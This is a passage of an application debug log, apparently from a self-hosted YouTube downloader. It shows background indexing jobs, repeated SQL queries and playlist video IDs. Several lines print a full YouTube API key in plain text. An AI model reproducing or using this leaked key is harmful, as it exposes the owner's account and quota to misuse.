source="tasks" db=0.1ms idle=115.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268193, 5, ~U[2026-10-09 21:15:41Z], ~U[2026-10-09 21:15:41Z]] 16:15:41.008 [info] {"args":{"id":5},"id":5268153,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117914,"event":"job:stop","queue_time":719827,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.014 [info] {"args":{"id":28},"id":5268155,"meta":{},"system_time":1791580541014388439,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.014 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:15:41.014 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.015 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:41.015 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.015 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:15:41.015 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.015 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:41.188 [debug] QUERY OK source="media_items" db=0.6ms idle=172.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 16:15:41.189 [debug] QUERY OK source="media_items" db=1.0ms idle=173.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:15:41.190 [debug] QUERY OK source="tasks" db=0.1ms idle=175.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268194, 16, ~U[2026-10-09 21:15:41Z], ~U[2026-10-09 21:15:41Z]] 16:15:41.190 [info] {"args":{"id":16},"id":5268154,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":300364,"event":"job:stop","queue_time":578764,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.197 [info] {"args":{"id":20},"id":5268156,"meta":{},"system_time":1791580541197348242,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.197 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:15:41.197 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.198 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:41.198 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.198 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:15:41.198 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.198 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:41.523 [debug] QUERY OK source="media_items" db=0.6ms idle=324.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 16:15:41.523 [debug] QUERY OK source="media_items" db=0.3ms idle=325.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:15:41.524 [debug] QUERY OK source="tasks" db=0.1ms idle=326.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268195, 28, ~U[2026-10-09 21:15:41Z], ~U[2026-10-09 21:15:41Z]] 16:15:41.524 [info] {"args":{"id":28},"id":5268155,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":510377,"event":"job:stop","queue_time":525103,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.681 [debug] QUERY OK source="media_items" db=0.5ms idle=156.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 16:15:41.682 [debug] QUERY OK source="media_items" db=0.4ms idle=157.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:15:41.683 [debug] QUERY OK source="tasks" db=0.1ms idle=151.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268196, 20, ~U[2026-10-09 21:15:41Z], ~U[2026-10-09 21:15:41Z]] 16:15:41.683 [info] {"args":{"id":20},"id":5268156,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":485931,"event":"job:stop","queue_time":574203,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.891 [info] {"args":{"id":43},"id":5268157,"meta":{},"system_time":1791580541891326927,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.891 [info] {"args":{"id":23},"id":5268158,"meta":{},"system_time":1791580541891408008,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:41.891 [debug] QUERY OK source="sources" db=0.2ms idle=208.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:15:41.892 [debug] QUERY OK source="sources" db=0.2ms idle=208.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:15:41.892 [debug] QUERY OK source="settings" db=0.1ms idle=202.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.892 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.892 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:41.892 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.892 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:15:41.892 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:41.892 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.892 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:41.892 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.892 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:15:41.893 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:41.893 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:15:42.152 [debug] QUERY OK source="media_items" db=0.6ms idle=258.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 16:15:42.153 [debug] QUERY OK source="media_items" db=0.4ms idle=259.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:15:42.153 